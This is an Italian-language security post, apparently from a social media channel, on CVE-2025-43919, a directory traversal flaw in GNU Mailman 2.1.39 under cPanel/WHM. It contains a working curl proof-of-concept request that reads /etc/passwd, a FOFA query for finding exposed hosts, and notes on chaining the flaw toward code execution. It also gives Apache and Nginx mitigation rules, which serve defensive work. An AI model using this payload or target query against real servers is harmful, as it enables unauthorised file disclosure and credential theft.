CVE-2025-43919-POC

🚨 CVE-2025-43919: Directory Traversal in GNU Mailman 2.1.39 (cPanel/WHM)

È stata scoperta una nuova vulnerabilità in GNU Mailman 2.1.39, in bundle con cPanel/WHM, che consente a utenti remoti non autenticati di leggere file arbitrari sul server tramite un difetto di directory traversal.

📌 Riepilogo della vulnerabilità:

• Tipo: Directory Traversal (Non autenticato)
• Componente: script CGI private.py
• Endpoint interessato: /mailman/private/mailman
• Impatto: Divulgazione di file come /etc/passwd, archivi .mbox e configurazioni di Mailman
• Punteggio CVSS: 5.8 (Medio)
• CVE ID: CVE-2025-43919

Stato: Nessuna patch ufficiale (Mailman 2.1.x è EOL)

🔥 Prova di concetto:

curl -X POST -d "username=../../../../etc/passwd&password=x&submit=Let+me+in..." \
http://target/mailman/private/mailman

🧨 Scenari di sfruttamento:

• Estrarre /etc/passwd, configurazioni o file di mailbox
• Divulgare credenziali e archivi sensibili
• Combinare con altri bug per RCE o escalation

🛡️ Mitigazioni: Bloccare l'accesso a /mailman/private a livello di server web:

<Location "/mailman/private">
    Require ip 127.0.0.1
    Deny from all
</Location>

Oppure in Nginx:

location /mailman/private {
    deny all;
    return 403;
}

⬆️ Migrare a Mailman 3.x — 2.x è EOL e manca di protezioni moderne

🔍 FOFA Query : app="Mailman"

📚 Scopri di più, condividi in modo responsabile e mantieni sicura la tua infrastruttura.

🔒 Segui per altri CVE reali, PoC concreti e suggerimenti di hardening: 👉 @cybersecplayground

#bugbounty #infosec #exploit #pentest #cve2025 #directorytraversal #linuxsecurity